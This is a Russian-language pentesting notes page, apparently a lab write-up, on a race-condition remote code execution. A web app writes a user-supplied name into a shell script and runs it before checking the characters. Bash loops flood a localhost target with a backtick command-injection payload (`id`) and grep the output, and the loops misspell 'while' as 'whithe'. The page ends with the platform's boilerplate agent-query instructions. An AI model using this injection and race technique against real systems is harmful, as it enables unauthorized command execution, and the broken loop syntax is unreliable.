> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/race-condition-attack/race-condition-rce-pentesting-web.md).

# Race Condition RCE

Вот интерфейс, где мы **вводим** наше имя:

<figure><img src="/files/592d43eb81a93dd3dc220d0f6366acf3d9a9b520" alt=""><figcaption></figcaption></figure>

Это имя **появляется в URL** в GET-запросе в формате ниже:

<figure><img src="/files/52e5d0f160876ad7fa9af4fc1fe2bf927dca0b8c" alt=""><figcaption></figcaption></figure>

Вот код, который мы попытаемся скомпрометировать. Он создаёт временный **hello.sh** файл с указанным именем:

<figure><img src="/files/a40838d3ab253793d4bedc18c13b7060525bd8ce" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/14728bf6c58cadbb43490d7985d4f159b60fbe3c" alt=""><figcaption></figcaption></figure>

Это означает, что поскольку Bash запущен, мы можем **выполнять команды**, но в этом случае возникает ошибка:

<figure><img src="/files/7d98b33e691a022ff6d0c04d7ae89bd55f869f54" alt=""><figcaption></figcaption></figure>

У **ошибка** возникает, потому что есть небольшая проверка **разрешённых символов**. НО сначала выполняется команда, затем происходит проверка:

<figure><img src="/files/df3c5d40875fe8ba8b250fdf295dc76195c344ff" alt=""><figcaption></figcaption></figure>

Мы все используем тот факт, что есть несколько **миллисекунд** до выполнения скрипта, до его проверки, отправляя множество запросов и **удаётся просмотреть содержимое**:

```bash
whithe true; do cat hello.txt | grep -v "test"; done

```

<figure><img src="/files/f4c9862bdcc7e117dba5460b0916852dc272ace5" alt=""><figcaption></figcaption></figure>

В реальном случае, когда у нас не было бы **доступа** к файлу "hello.txt", мы используем **curl** следующим образом

1. мы задаём **в запросах слушателя** и фильтрации по полю, которое нас интересует:

```bash
whithe true; do curl -s -X GET 'http://localhost:5000/?action=run' | grep "Check this out" | html2text | xargs; done

```

2. Мы запускаем атаку грубой силы **пока условие не будет выполнено**

```bash
whithe true; do curl -s -X GET 'http://localhost:5000/?person=`id`&action=validate'; done

```

<figure><img src="/files/938c48f676ec897f0a93e7bb2eec2c0f2580b798" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/race-condition-attack/race-condition-rce-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
